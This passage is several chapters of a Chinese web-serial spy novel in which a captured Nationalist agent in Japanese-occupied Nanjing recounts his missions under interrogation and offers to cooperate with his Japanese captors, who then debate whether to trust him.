“然后呢?” “那天讯问现场,我认识了陶楚歌,她把我介绍给了她的爷爷——南京赤盟会会长陶天阙。” “那位陶老先生知道你的身份吗?” “我对天发誓,他并不知晓我的身份!他只是看我还有些血性,就给了我一份差事,让我筹备照相馆,当然,这其中一定是陶小姐说了不少好话……” “你倒是有艳福不浅,处处有女人的相助!” 看到林赤词穷,渡边不知何故叹了口气,又道:“我看你也不善言辞,怎么骗得女孩围着你团团转?” 林赤依旧不语。 “好了,我不打断你了,你再往下说。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第192章 虚构的真相 “后来我把密码本交给了锤子,就离开了月息路,直接去拜见陶会长。陶会长当时在筹备照相馆,正缺人手,当即邀我加入,我毫不犹豫答应了……” “你为什么会毫不犹豫答应?”渡边插问。 “一方面我需要生计,需要一个容身之所,更主要的,我要有个身份掩护自己。我不能整天待在那个暗无天日的地下室里。” “接下来你就去了上海?顺便去履行曲思秋捎带的任务?” “是的,我去上海采购照相设备了。” “你只身前往?” “陶会长安排了一个手下和我一道前往,他带着购买设备的钱款,你也知道,我是个新人,陶会长断不会把一大笔钱交给我保管的。” “他叫什么名字?” “赵楷。我和赵楷托陶会长的关系,订了两张火车票,第二天就来到了上海。在上海我们住进了卖家给我们预先订好的旅馆。” “旅社叫什么?在什么地方?” “在劳尔登路,叫明月旅社,我和赵楷分住两间客房,然后我借口拜访上海的朋友,独自一人离开了旅社。” 林赤喝了一口水,继续有条不紊说道:“我叫了一辆黄包车,找到了《申报》社,按他们的要求刊登了一则喜报,订的隔天的版面。然后我就回去了。第二天我起床后,向赵楷简单交待了几句,再次叫了辆黄包车,直接去了马斯南路的相见恨晚咖啡馆,在路上我买了一张当日的《申报》。到了咖啡馆,由于时间尚早,还没有开门营业,我将咖啡馆前后左右仔细观察了一番。” “……终于等到咖啡馆开门了,我进门后找了一张空的桌子坐下,把《申报》平摊在桌上,一边喝着咖啡一边看着报纸。半个多小时后,进来了一个年轻男子,在我对面坐下,他果然是前来接头的地下党,在对上暗语后,我便把胶卷偷偷递给了他!” “……正当我如释重负以为轻松完成了曲思秋交办的任务时,我忽然觉得情况有变,咖啡馆门前一下子多了五六个人,匆匆扑向屋内,并和离开的接头男子撞了个正着……” “……双方立即产生激战,事发突然,我已无法独善其身,很快加入战斗,由于敌我力量悬殊,我俩被逼退至咖啡馆吧台,混乱中,接头男子不幸中弹身亡,我从他口袋搜出胶卷,迅速从后门撤出,我预先踩过点,早就选好了退路,因而轻易逃离了现场……我沿着咖啡馆后面的一条小路向东狂奔,没跑多远,一个中年男子从路边闪出,一把拽住了我,声称是前来接应我们的,并让我跟着他走,我尽管半信半疑,但只能跟着他跑,不一会儿他带我上了一辆黑色轿车,轿车七拐八绕,来到一栋独院前停下,他把我引进院内,一个头儿模样的人出来见我,为了慎重起见,我把接头的暗语重复了一遍,他对答如流,我这才信了,把胶卷托付给了他。” 渡边听到这里,抓起桌上的一支笔,在本子上赶紧记下了什么。 林赤继续说道:“我做完这一切,没有逗留,立即起身告别。临别前,对方问我何时回南京,我说事情还没有办好,归程未定。他无意说道,他们就在这一两天将会驱车前往南京,如果时间巧合的话,可以搭他们的顺风车,就算是报答我的无私帮助。我当时有些心动,考虑到回程的火车票不好买,就告诉了他我在劳尔登路明月旅社的房号,希望他们定下日期后派人告知一下,看能否赶上趟。” 渡边又在本子上写下了一句话。 “回到旅社,将近中午,碰上黄埔商行的老板邀我俩赴午宴,我们整个下午就一直在洽谈照相设备事宜,谈妥了价格并接受了相关的技术培训,我让对方派人和赵楷把购买设备运至火车北站,并办好托运至南京的手续。忙完这一切,我俩回到旅社已是入夜时分,这时有人敲门。” 渡边立即凝神谛听。 “来者和上午那帮人是一伙的,他例行通知我他们第二天一大早前往南京,问我需不需要搭他们的车,我想了想答应了。他于是让我们翌日早晨五点在旅社门前等他们,会有车来接我们。第二天天色微亮,我和赵楷整理好行李在旅社门前等车,他们如约而至,竟然是两辆车,我和赵楷上了其中一辆。” 林赤不再说话,怔怔出神。 “后来呢?”渡边忙问。 “我们回南京了。” 渡边一边思忖一边又问:“你们是两辆轿车一道回来的?” “出城后不久,我意外发现跟在后面的一辆轿车不见了,当时也没多想。但在返回的途中,那辆车再也没有出现过。” “那辆车坐的什么人?” “都是些陌生面孔,坐满了五个人。” “你们这辆车呢?” “除了司机以外,副驾驶室里还坐了一位,我也不认识。” “你们回去的路上,有交谈吗?” “我一直想和他攀谈,先是问他怎么称呼,他自称姓李,名景轩,我还想问话,可对方兴趣不高,我也懒得搭理他,一直睡到快到南京城。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“李景轩?”渡边若有所思自语道。 “怎么,渡边少佐听说此人?” “这名字好耳熟,不久前我曾听上海的同行说起此人,听闻他是共党上海的负责人之一,他来南京啦?” “是的,在中山南路上赵楷先下了车,我让他把我送到了悦颜照相馆,当然,那时的照相馆还是一座空房子。” “你为什么要和赵楷分开下车?” “我当时急于相见曲思秋,告知她任务完成。” 渡边不屑地嗤笑一声,“你们就这样分开了?” 林赤摇头道:“赵楷走后,这位李先生话突然多了起来,不断地试探我。” “他如何试探?” “他问,‘林先生是重庆方面的?’我看他语气肯定,也就直言相告了。我知道如果我刻意隐瞒,对他大不敬。他点点头又说,‘我看你从相见恨晚咖啡馆能全身而退,猜想你身手不赖,一定受到过专业训练……’我不置可否,他忽然又话锋一转,说,‘我再次见你方便吗?’我没有立即回答,到了悦颜照相馆,我下车时告诉他,他万一想联络我可以来此地。” “林先生为何要答应他?” “作为军统南京站的负责人之一,我希望能够团结所有该团结的力量!” 渡边一时语塞,沉吟一会,想起本子上的记录,目光扫了扫问道:“从咖啡馆逃出后,你落脚的独院具体在什么地方?” “我不记得,当时慌乱中也没有留意,上海主城内的道路我根本不熟悉,我从小生活在江湾镇,那只能算是上海的郊区,我在上海人眼里只是个乡下人。” “你确信在归途中没有发生什么?” 林赤显得一脸迷惘,“路途会发生什么?渡边少佐是不是有所指?” 渡边把笔身在手里抛了个180度,迟疑道:“前些日子,我们帝国上海领事馆一名武官奉命押送一名女嫌疑人到南京,刚出上海城不久,在宁沪公路的真如镇,遭遇到意外,数天后,他和同行以及司机的尸体在镇外的一条河里被发现,均是中弹身亡……” “渡边小姐该不会怀疑是与我同行的那伙人所为?” “我有证据指向林先生本人,如果那一次你的确是驾驶一辆轿车回南京,那么和你一伙的共匪也必定牵扯其中!” “渡边少佐仅仅凭这一点就断下结论?” “你被羁押期间,我们松机关的行动处对你有过调查,你从上海返回那天,正好是帝国武官山口君启程之日!也正是那一天,山口君失踪了,数天后有人报告在距离真如镇四公里外的河里陆续发现了他们的尸体。” 林赤淡淡一笑道:“这就是你们所谓的证据?” “不仅如此,我们中山门的哨兵报告,有人冒用山口的证件潜进了南京城,后来在南京城里我们还发现了山口君的座驾——一辆35年的福特水星款轿车,你或许知道,这款轿车在中国境内可不多见,整个华东地区,也就区区几辆,更重要的是,目击者所描述的这辆车似乎遭受过枪战,车身上布满弹痕……” “哦?”林赤一脸惊愕。 “还有一事林先生可能想都没想到,就在昨夜,我率队行动,在水西门外的一处汽修厂里,发现了这辆车……” 林赤不由得瞪大了眼睛。这次,他确实没有装,记忆中,这款福特轿车已被赵楷藏在了悦颜照相馆不远处的一家废弃的厂房里,可它又是怎么会出现在一个从未听说过的汽修厂里? “……还有,我的情报显示,这家名为平安的汽修厂,实则上乃是南京城共党组织的一处重要联络点!”渡边不无得意说道,“这一次,它被我们一窝端了!” “这么说来,那位山口先生之死,共产党难脱干系?” “自然如此!”渡边想起一事,忽然蹙眉沉思。 “渡边少佐想起什么啦?”林赤见状关心问道,交谈间,林赤浑然没有了拘谨之态。 “奇怪的是,那位从上海押解的女嫌疑人是在一次剿匪中被我们重新抓获,可是……可是她怎么会和国军的流寇同流的?这又怎么解释?” “那位嫌疑人叫什么名字?” 林赤这一问,渡边终于发现自己不小心说多了,再看林赤,神态轻松,眉宇含笑,完全是一副肆无忌惮的样子,渡边不禁狠狠瞪了他一眼,连忙正襟危坐起来。 林赤赶紧缄口不语。 渡边正了正身子,板着脸继续她的讯问。 “再后来呢?” “再后来……几天后的晚上,我独自一人待在照相馆,有人来访,竟然是李景轩……他开门见山求我一事……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第193章 致命的破绽 单反玻璃的后面,黑木的双腿迟迟没有挪动,他的身子几乎是趴在墙后的一张条形桌上,一手托着下巴,一手将连接审讯室内的拾音器的耳麦紧紧贴在耳朵上,生怕错过某些重要的细节。还好,林赤的声音不算低,只要仔细聆听,还是可以听得分明。 整个老虎桥监狱,只有这套购自德国的审讯听音设备还入得了他的法眼。 作为当前老虎桥监狱最重要的嫌疑犯,林赤的口供直接关系到他所谓的归顺究竟有多大的可信度,这到底是他的缓兵之计还是阴谋,需要他这位当事人用心去甄别,如果单凭供词就断下定论,对于一向严谨的黑木而言,未免太过草率,因而,黑木不时利用他们谈话间的间隙向审讯室内凝望,以期望通过林赤的言行举止找出一些蛛丝马迹。 此外黑木尤为重视的是,在林赤的口供中所提供情报的含金量。 耳麦里并没有及时传出林赤的声音,黑木下意识探头看了看。 刚刚抬头,林赤的声音再次传来,黑木赶紧低下脑袋。 这套听音设备最大的缺憾是联系耳麦的线不够长。 “李景轩这一次深夜赶来来,是希望我们军统施以援手。” 线路里出现了短暂的空白,黑木条件反射瞟了一眼,但见渡边又在本子上记着什么。 渡边匆匆写下一行字,抬起头问道:“这位李景轩何事求你?” “延安方面不远千里派出一位举足轻重的人物,代号‘镰刀’,不日后要从水路登陆南京,来领导共产党宁沪两地的情报战线。由于当时的南京城形势极其严峻,共产党的力量又很薄弱,故而他请求我们军统能够协助他安全潜入城内。” 渡边并不感到意外,随口问道:“你答应了吗?” “事关重大,我并没有马上答应,但也没有回绝,我只是说需要请示我的上级。因为我深知,此时就算我们军统的行动能力也是捉襟见肘,自己的分内事还力不从心,况乎其它?” “可是,后来你们还不是出手了吗?” 林赤叹了口气道:“说来话长,我是整个事件的始作俑者。我其实自己都可以做主,拒绝对方的要求,可……可说到底当时还是想讨好曲思秋,太想给她些意外的惊喜,我为此第二天晌午特地回去找锤子,欲和他商量此事,没想到锤子听我说完后,当即否定了我的意见,他对共产党有成见,骨子里很看不起,便说无人可派,我不信,同时对他不放手人事权很恼火,和他大吵了一顿,正当我满腔怒气的时候,密室里进来一人,我从未见过,他显得很急的样子,锤子拉我和他相见,并介绍我们认识,他就是钉子。钉子来不及客套,赶紧向我们汇报有一件十万火急的事情——他得到情报,当天中午前后,日军将会对紫金山一带的华帮抗战大队实施清剿……” “这样的绝密情报,他怎么会获知?”渡边脱口问道。 “他的情报来源我无权过问。不过通过这件事,我希望你们展开自查,你们一定是哪个环节出问题了。” 黑木有些走神。 容不得他思索,渡边旋即说道:“然后林先生自告奋勇揽下了此活,前去报信了?” 林赤满脸惊诧,“渡边少佐怎么会知道?” 渡边得意地笑笑,支支吾吾搪塞道:“嗯……性格使然,林先生血气方刚,又处处爱表现,这样艰巨的任务你还不是马上抢过去?” “事实不尽如此,我当时心中其实很愤懑。” “哦?为何?” “我是第一次从我们的人口中听说在紫金山一带还有我们幸存的武装,而之前我的直接上司锤子连提都没提过,他这分明是在刻意瞒我,你想想,我的才能是军事指挥,而不是偷偷摸摸干些情报工作,他们应该量才施用,把我放在领导华帮抗战大队的岗位上,那样才能发挥更大的效用。我相信由我来领导华帮抗战大队,一定比那个曲大队长更出色!” “你见过那位曲队长吗?他叫什么名字?” “素未谋面。他的名字……”林赤明显迟疑了一下,很快补充道:“曲思冬。” “曲思冬?”渡边的脸上掠过一丝疑问。 不但是渡边,室外的黑木也楞了一下。这个名字在此时此刻被强化了。他一下子想起来在审讯“镰刀”的伪装者钱瑾余时,钱瑾余曾经有过招供,华帮抗战大队的副大队长名字叫曲思冬。 顷刻间,他想起了和曲思冬一字之差的另一个名字——曲思秋。 林赤的迟疑也正是出于这样的顾忌。他直到现在,才真切地认识到,这是整个计划中最致命的破绽。 当时制定计划的时候,他根本没有考虑到会有曲思秋的出现,他也忽略了中国人取名的一个由来已久的习惯,那就是喜欢把自己的子女烙上某种属性,以示区分。 钱瑾余招供出华帮抗战大队的副大队长曲思冬,那是预先计划好的,可是让林赤怎么也料不到的,当初制定的这个细节将直接导致事态向另一个方向迅速恶化。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“密室外间,只有我们三人,锤子听到这个消息后,一筹莫展,连忙征求我的态度……”林赤现在唯一能做的,就是用接下来的故事情节来吸引渡边的注意,从而弱化敌人对这个细节的注意力。当然,他猜想,松机关的黑木必定在偷听他们的谈话,毕竟这样的审讯他林赤是主角。 林赤开始滔滔不绝起来,“我平复自己的心情,询问了华帮抗战大队的具体情况,知道这个抗日火种必须传承下来,于是打定主意一定要做点什么,而且报信的人非我莫属,其他的人都不具备这样的能力,刹那间,我想起在密室里曾见到过数量不菲的武器,其中还有数颗手雷,我立时就有了主意……” “引爆手雷,用爆炸声提醒他们?” 林赤充满敬佩地看了渡边一眼,继续道:“是的,爆炸声是最好的报信介质,起码可以做到让我们的人警惕起来,不至于被包了饺子。” “林先生倒是智慧过人,如此情形下,这恐怕是最好的方式了。” “锤子和钉子听了我的想法后,表示赞同,不过,这也是当时最可行的计划了……但我当时遇到最现实的一个考验,那就是如何出城。钉子打消了我的顾虑,说外面有一辆轿车,车上有一张可以进出南京城的通行证,可以保障我出入自由。” “什么样的通行证?” “我出了密室上了车后,第一件事就是看了一眼通行证,是一张日军宪兵司令部的通行证。” 渡边在纸上做了个标记,并未打断林赤的话。 “通行证很管用,我以最快的速度驾驶汽车往中山门方向疾驰,时间还算赶趟,在中山门内不远处,我看到了大批的日军出城,猜想一定是参与围剿的部队,就把车停在路边等队伍出了城再跟上,顺利出城后,我分两次甩出手雷,第一次是想迟滞他们的速度,第二颗我是在树林中摸近了再扔出……任务结束后我驱车兜了一圈,从尧化门方向入了城。我当时心情忐忑地,不知这样的报信方式是否能达成目的,但从后面的结果来看,那位曲队长并不是个猪头,他果然顺利地把队伍带出危险地带……” “你是如何得知他们平安脱险的消息?” “这必须说到另一个人……钱瑾余,你们对他不会陌生吧?他此刻应该还和我一样,关在这座监狱里,唯一不同的是,我是阶下囚,他或许已是你们的座上宾。” 渡边冷笑一声,“你恨他吗?” “实话说吧,我的心态很复杂,从个人情感上说,我鄙视他,他提前了结了我的英雄梦,但联想到自己的结局,我又恨不起来了,最终结果,我们不还是殊途同归?” “你就甘心放弃你苦苦追求的梦想?别忘了,你的父母都不幸死于我们的轰炸,我们大日本帝国可与你有不共戴天之仇。” “之于这样一场旷古浩劫,我个人的仇恨已经微不足道。我忽然觉得,初衷已经被滚滚而来的潮流稀释了。” “林先生所说的潮流是指什么?” “说不上来,或许是人求生的本欲,亦或是某种不可逆转的潮流……” “原来林先生也有心灰意冷的一天。” “也算是一种解脱吧……若干天后,那位脱离华帮抗战大队的队长钱瑾余通过钉子到照相馆找到了我,向我讲述了华帮大队转移后的情况,我得知他们安然无恙,只是如今他们流窜镇江茅山一带,恐怕已经改姓,被共产党的队伍收编了。” “你是说钱瑾余是钉子安排和你见面的?” “我认为最大的可能是锤子指派的,钱瑾余潜入城后,通过他原先的联络方法和钉子接上头,锤子一直没给我这位行动处的处长安排人手,这次算是弥补吧。” “那么你是如何想到用他冒名顶替共党‘镰刀’的?” “李景轩交办的事情我一直未有答复,这件事在我心中的耿耿于怀,总觉得对不起他,钱瑾余的出现让我一下子看到了希望,我灵光一闪,忽然就冒出了个‘越俎代庖’的思路,一方面也是立功心切,就独自制定了一个大胆的计划……后面的事想必渡边少佐都了解得相当清楚。” “嗯……你的这个计划向上汇报了吗?” “没有,我一直认为锤子此人刚愎自用,未必听得进有效的意见,他的领导风格四平八稳,很不适合当下的南京局势。再说,我太想建功立业……可惜……” “可惜什么?”渡边不放过任何一个追问的机会。 “可惜钱瑾余并不是一颗理想的棋子,他很快把我拖下了水。” “你还在为此遗憾?钱先生表现还算不错,他扛过了我们数轮的刑罚,只是最后一关没能熬过去……”说到这儿,渡边雪奈想起了黑木的黑箱子,不知何故她妩媚地笑了起来,说道:“假如林先生还是顽冥不化的话,接下来就会让你重复钱先生所经受过的遭遇……” “黑箱子?这是个什么了不起的刑罚?”林赤满不在乎问道。 渡边的脑中浮现出林赤裸身装进黑箱子里的模样,想到开心的地方,不禁笑出声来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第194章 初步信任 至此,林赤的交待已构成了一个完整的链条。接下来,黑木的松机关和行动处的渡边雪奈无非要做的一件事情就是从这根链条上找出破绽,以判定林赤有没有说谎,假如他的话可信程度很高,说不定还能觅到宝贝。 这如同一个复杂的证明题一样,已知条件很多,钱瑾余的招供算一份,隔壁的曲思秋的供词也可以互为印证,此外,还可以电询上海的同行,对林赤供述的每一个细节逐条推敲,加以论证。 当然,渡边深知,眼下最为迫在眉睫的是抓住林赤投诚的机会,让他说出他的上级藏身地以及一切关乎他知情的线索,可以一网罗尽所有的魑魅魍魉,不给敌人喘息的机会。让渡边忧心的是,林赤入狱的时间已经太久,重庆方面在南京的情报体系对于他的被捕不可能不采取紧急措施,该切断的早就切断了,不会坐等魔鬼敲门。 这其实也是黑木最沮丧的地方,林赤的招供姗姗来迟,最佳时机已经错失,这某种程度上意味着林赤的价值也为之缩水,除非林赤本人有更好的见解。 渡边开始进入正题,收住脸上的笑意,沉声道:“林先生,让我们进入下一个环节吧。” “渡边少佐请说。” “现在,请你告诉我,我们要怎么做才能抓住你的同党?” “你是指锤子和钉子?” “是的,所有与帝国作对的敌人,你可以知无不言,前面林先生所说的一切只能说明你的诚意,后面才是你立功的关键所在!” 林赤陷入了沉默。 “难道林先生只想通过这么点东西就想把我们忽悠过去?你当你是打发要饭的呢?” 林赤费解地看了一眼渡边,冷笑道:“难道渡边少佐还以为锤子和钉子天真得整日待在月息路二十一号的那间阴暗潮湿的地下室里坐以待毙?” 渡边一时语塞,脸有不悦,忽然厉声道:“这不是你合作的应有态度!” 林赤嗫嚅道:“我说过,我没有人事权,重新加入军统也区区数日,很多事情尚还一知半解,更别说掌握核心机密了,当然,如果你们晚抓我一月半月的,说不定我已深度介入。” “林先生的意思是让我们把你放了……” “这倒不失一个好主意,我倒是可以成为一个优秀的卧底,给你们提供精确的情报!”林赤接过渡边的话,半开玩笑回敬道。 “做你的春秋大梦去吧!”渡边怒不可遏。 林赤笑笑,也不生气,端起那杯渡边用过的水杯呷了一口水,忽然正色道:“渡边少佐也太小看我了,既然我决定与帝国合作,我会纳上我的投名状!” 黑木一下子兴趣盎然起来。把耳麦紧紧贴在耳朵上。 “我能否见一见黑木将军?”林赤提高了声音。 渡边的目光在林赤的脸上游离了几个来回,应道:“见将军自然不是什么难事,不过我希望你所说的话最好能让将军感兴趣!”说完,渡边起身向门口走来。 黑木连忙放下耳麦,把手背在背后,装作刚从其它地方路过的样子。 渡边推门而出,目光和黑木相遇,并不诧异,疾步走近黑木,低声道:“将军阁下,林赤想见你。” “哦?你审的好好的,他为何要见我?” “恐怕有重大情报……” 黑木正要回答,听到隔壁的审讯室的大门有了动静,料想是川上麻衣中佐已审讯完毕,便把目光投了过去。 川上手里捏着一摞纸张,看到不远处的黑木,快步走上前来,嘴里说道:“她该交待的都交待了。” “有什么收获吗,川上君?”渡边好奇问。 “翻来覆去就那么些,没有什么特别有价值的……” “一切尽在预料中。”黑木补充一句,“这个女人别看年纪轻轻,比林赤难对付!” 渡边扬了扬嘴角,欲言又止,转而露出一副不屑的神情,似乎是对川上的审讯技巧或者手段由衷地轻看。 川上没有注意到渡边的变化,对黑木说道:“但在我看来,这位曲小姐所知道的确实不多,共党和她采取的是单线联系,涉案的只是金陵大学的陆大同一人……嗯……此人要好好查查。” 黑木突然就想起了另一个名字——曲思冬。 “没有这么简单,她一定隐瞒了什么!”黑木把背在身后的双手松开,一手拍了拍川上的肩膀,语重心长说道:“川上君,烦劳你一下,你继续对她进行审问!” “该问的都问了!” “不要怕麻烦,你根据审讯大纲,把所有的问题再重复三遍,然后你把她的表现告诉我!” “是将军!” 黑木交代完毕,信步走上前去,轻轻推开第二审讯室的铁门。 林赤侧头看到了黑木,和书记官一道起身,林赤微微低了一下脑袋,问候道:“将军好!” 随着他的站立,林赤脚上的铁链发出叮叮当当的声响。 黑木见状,立即转头对身后的渡边雪奈责怪道:“怎么,你们还给林先生上了脚镣?林先生已然是自己人了,还不快解了!” 本小章还未完,请点击下一页继续阅读后面精彩内容!墙角站立的两名狱警趋步上前,替林赤卸下了脚链。 “听说你找我?”黑木踱步上前,一手按在林赤的肩上,温和道:“林先生请坐。” 林赤坐定。黑木打了个哈哈道:“我和武内典狱长谈兴正浓,硬是给你搅了。” 他故意撒了个谎,希望掩盖一直在外面偷听加偷窥的事实,好让林赤没有戒心。审讯室墙上的那面可以对审讯过程一览无遗的单反玻璃,昨天在提审曲思秋时,林赤曾撞见过他通过它偷窥,因而他下意识地有意饰掩。 林赤倒是没有流露出什么,只是继续欠身说道:“不好意思,打扰到了将军!” “没关系,没关系!”黑木手一挥,在林赤的对面紧挨着书记官坐下,和颜悦色道:“林先生想起什么啦?” “我有个想法,不知算不算立功?” “请说。” “将军如果心存疑惑,不妨抽派人手,到月息路二十一号,这是一处独立的院落,院子里有一口水井,通过水井上悬挂的井绳下行数米,会发现一个密室大门,当然除了这条通道,在屋后还有个进口也可以通达密室,这就是锤子办公的地方,也是军统南京站的指挥中枢,里面不但有电台,还有两名年轻人,是电台的发报员和译报员,常年吃住在里面,足不出户……这个地方只有我和钉子等为数很少的几人知道!不过,我不得不给将军泼冷水,第一,这帮人极有可能已经转移,我的失踪必定让他们风声鹤唳,在这间密室里,将军不可能发现有任何价值的东西;其二,说不定在这座院子的所有必经之路,会有一双双眼睛在监视着,你们大队人马一进去,他们就会马上得出我已叛变的结论,到时,我对帝国毫无价值可言!” “那林先生不妨给我们指一条明路!” “这一切还得感谢曲思秋的到来。” “此话怎讲?” “欲取之必先予之!,如果想得到将军想得到的,将军不妨先放手,给予他们充分的自由,尽情让他们去表演,去发挥,待掌握了重大的线索后,可以将他们一网打尽!不留后患,更不给余地!” “林先生详细说来。”黑木庄重说道。 “将军还记得曲思秋的那本密码本吗?”看到黑木点头,林赤继续说道:“从曲思秋车里搜出的那本密码,至关重要,其实就是我们军统系统核心密码。尽管这是曲思秋手抄的,但并不妨碍我们破译重庆方面和南京城军统站往来电文的讯息,您不觉得这是一个千载难逢的机会?” 黑木不想附和,但还是不得不频频颔首,他的内心是赞同林赤的想法的,不用揣度,他就知道林赤接下来会说什么。 林赤果然是按他的思路进行,“种种迹象表明,敌人在暗处,你们在明处,从围剿紫金山的华帮抗战大队这一事败露就可以断下定论,在你们的队伍中有重庆方面的卧底,还有,你不觉得上海领事馆的武官山口先生遇刺身亡大有蹊跷吗?所有的这一切无不说明你中有我我中有你,斗争形势错综复杂,如果将军您想在敌人的心脏里安插一双眼睛,那最好的机会来了……” “听林先生的意思是想让我以静制动?” “没错!您可以从海量的往来电文中甄别出有用的信息,网已撒下,网口的绳子被你拽在手里,收网随时可以进行,只是时间问题,只要您耐得住寂寞!” 黑木的脸上出现了久违的笑容。 “哟西,林桑言之有理!” “我可以尽全力配合帝国的松机关,只要您觉得该收网了,则一切尽在掌握!您试想一下,与其现在把月息路翻个底朝天一无所获,还不如静下心来等上数日,找准一个最佳时机,将敌人的情报体系一举摧毁,孰重孰轻,我想将军自有衡量。” 黑木一扫多日屡屡受挫的阴霾,由衷笑了起来。 “就按林先生说的办!如果能够钓上大鱼,我会记上林先生一大功。” 林赤赶紧站起来,毕恭毕敬说道:“只要将军能够提供足够大的舞台,我林赤一定不辜负您的厚望!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第195章 定性 林赤话一说完,黑木便起身离去。 临行时,黑木抛下了一句:“我会认真考虑林先生的要求。” 渡边跟着黑木走出,两人走到门外,黑木驻步,回头看了渡边一眼,渡边连忙快步走近他,轻声道:“将军还有什么指示?” 黑木思索了片刻,吩咐道:“渡边少佐,还有两个细节你必须了解清楚,第一,共党头目‘镰刀’潜入南京一事他有没有告诉曲思秋?其二,曲思秋对林赤的‘越俎代庖’的计划,知不知情?”看到渡边点头,黑木想了想又道:“另外,你还需要做一件和川上君相同的事情……” “请将军明示!” “你依照审讯大纲,对林赤继续开展讯问,给我重复三遍!” “属下不明白将军阁下为何要这么做?” “到时你的就会明白!”黑木撂下这句话后扬长而去。 …… 黑木离开审讯区后立即来见典狱长武内次郎,此时刘云雄已离开监狱,返回了松机关他的那间临时办公室。黑木向他询问了刘云雄在监狱走访的情况,武内于是把刘云雄在监区的一言一行详细告之,黑木听后陷入久久的沉思。 武内陪坐在一侧默不作声。 正在此时,副典狱长陈炳松进来,向黑木报告道:“午餐已经准备好了,不知将军和您的属下何时可以用餐?” “等等再说。” “好的。”陈炳松唯唯诺诺告退。黑木把目光在他的背影上足足停留了数秒,忽然高声喊道:“陈桑请留步!” 陈炳松赶紧转身,亦步亦趋跑到黑木跟前,“将军有何吩咐?” 黑木翻了一下眼珠,忽然问道:“陈桑,在你们中国最大的姓有哪些?” 陈炳松没想到黑木会提出这样一个问题,有些出乎意料,想也没想答道:“我的陈姓就是一个大姓,另外……王、张、吴、赵……李这些都可以称得上是大姓。” “哦……曲姓怎么样?” “曲姓……”陈炳松的大脑迅速转了转,“曲姓可不是什么大姓,姓曲的人在我们中国应该不会很多……” “那么,在南京城,曲姓多吗?” “这我就不清楚了……”陈炳松坦言相告。 “我知道了,陈桑可以走了。” …… 对林赤和曲思秋的审讯在四个小时后结束。 此时已是下午一点。 早就过了午餐时间,然而,黑木他们并未马上享用武内给松机关的客人准备好一大桌丰盛的午餐。三人齐齐聚集在四楼的会议室里,他们要开一个简短的碰头会。 黑木面朝渡边,率先问道:“渡边小姐,我想知道我走之后你重复所有的问题讯问那位林先生的反应。” “当我重复第一遍的时候,林先生就表现出烦躁,到后来第三遍的时候,我看他差不多是崩溃了,整个人近乎于狂躁!” “那位曲思秋小姐又是何表现?”黑木转而询问川上麻衣。 “恰恰相反,曲思秋却十分安静,她特别耐心地回答了我所有的问题,尽管这些问题我都问过好几遍了!” 黑木若有所思。 渡边忍不住问道:“既然他们二人表现差异如此之大,这其中有何讲究?” “那位曲小姐在撒谎!”黑木斩钉截铁说道。 “将军为何得出这样的结论?”川上中佐好奇问道。 黑木正了正身子,清了清嗓子道:“我的导师曾经告诉我一个铁律,当你面对一个犯人,针对同一系列问题反复提问犯人的时候,心中有鬼的犯人会极力克制自己的烦躁,并平复山呼海啸的情绪,他们唯一要做的就是尽量把自己变得平静起来,这是百试不爽的真理,我个人已多次应用,收效显着!” “依将军所言推断,那位林先生并未撒谎?”渡边小心地试探道。 “这个铁律只能证明曲思秋心中有鬼,但并不能得出林赤心中无鬼的结论。”黑木顿了顿又道:“曲思秋并未说实话,她没有一丁点诚意,这一点希望你们认清!” “那么,对于这两名犯人,我们该作何处理?”川上忙不迭声问。 “渡边小姐,你的看法呢?”黑木探询道。 “这位林先生所提方案确实可行,况且此人能力很强,远远超过李毅之流,如若为我所用,必定如虎添翼,也是我帝国一大幸事!” “恐怕此人不太好驾驭吧?”川上冷冷插了一句。 “不尽然!”渡边笑盈盈说道,“其实每个人都有人性弱点,尤其是男人……”说到此处,渡边忽然意识到自己失言,慌忙住口。 她面前的两个男人面面相觑,尴尬地对视了一眼。 “我的意思是说,这位林先生的弱点我已经洞察秋毫!我有把握将此人为我所用。” “我能听听渡边小姐具体的措施吗?”川上继续进逼。 “这我还没有想好……反正此人留下没有什么坏处。”渡边避重就轻,说完看了看黑木,希望他有所表态。 “嗯,我倒是觉得我们不能因噎废食,大胆启用林赤固然有风险,但利弊自可权衡,杀一个人容易,可这个人的价值终将会随着其生命的陨落而荡然无存,这让我想起了松井将军的智慧,刘云雄只是敌人区区的一名旅长,虽然军衔高至少将,然被我俘虏后无兵无权,仅存的只是曾经光鲜的过去,如此一位失势的光杆司令,松井将军不但留他一条性命,还赋予他招募兵员的权力,更是将南京警卫军司令一职托付给他,不可谓不大胆果断!就在刚才二位审理犯人的时候,我询问过武内典狱长,了解了一下他在这座监狱筛选兵源的林林种种,这位刘桑如今激情高涨、干劲十足,他只是振臂一挥,就应者云集,完全和羁押期间判若两人,其精神面貌焕然一新,这是我没有料到的……我忽然间大有启发,每一个人其实都有积极向上的原欲,这就要看我们如何施用,如果能发扬他的长处,规避他的短处,我以为将会给我们带来无穷的收益……我们不是赌徒,松井将军更不是,一切需要我等建立在理性的分析基础之上!” 本小章还未完,请点击下一页继续阅读后面精彩内容!黑木目光平静地扫视了两位下属,继续说道:“林赤的何去何从,自然也可以加以理性分析,核心是他归顺我大日本帝国的诚意,如果这一点没有疑义,则一切好办。至于他的诚意几何,我认为不难判断,其一,需要你们花点时间推敲他供词的真伪;其二,月息路二十一号的那间地下密室,去看看是否属实,最好是在夜深人静的时候悄悄进行,不宜弄出太大的动静;其三,命令电讯股日夜监听南京城上空所有往来的电磁信号,给我找出重庆方面的电台,就用那本缴获的密码本加以破译,一旦捕获到有用的情报,不就可以推断出林桑的诚意了吗?” “是,我马上安排人今夜暗查月息路二十一号。”渡边道。 “我马上安排电讯股稻田勇加强监听!”川上道。 “曲思秋该如何处理?”渡边又问。 “继续审,她一定还隐瞒了什么!”黑木眼睛转了转,突然就想到了一直若隐若现在心间的疑问,“还有一事,渡边小姐有没有注意到?” 渡边抬头期望他的下文。 “当初钱瑾余有过招供,华帮抗战大队有一名副大队长,名字叫曲思冬,就在刚刚审讯林桑的时候,他也提到过这个名字,你不觉得这里面大有文章吗?” “您是说和这个名字一字之差的曲思秋?” 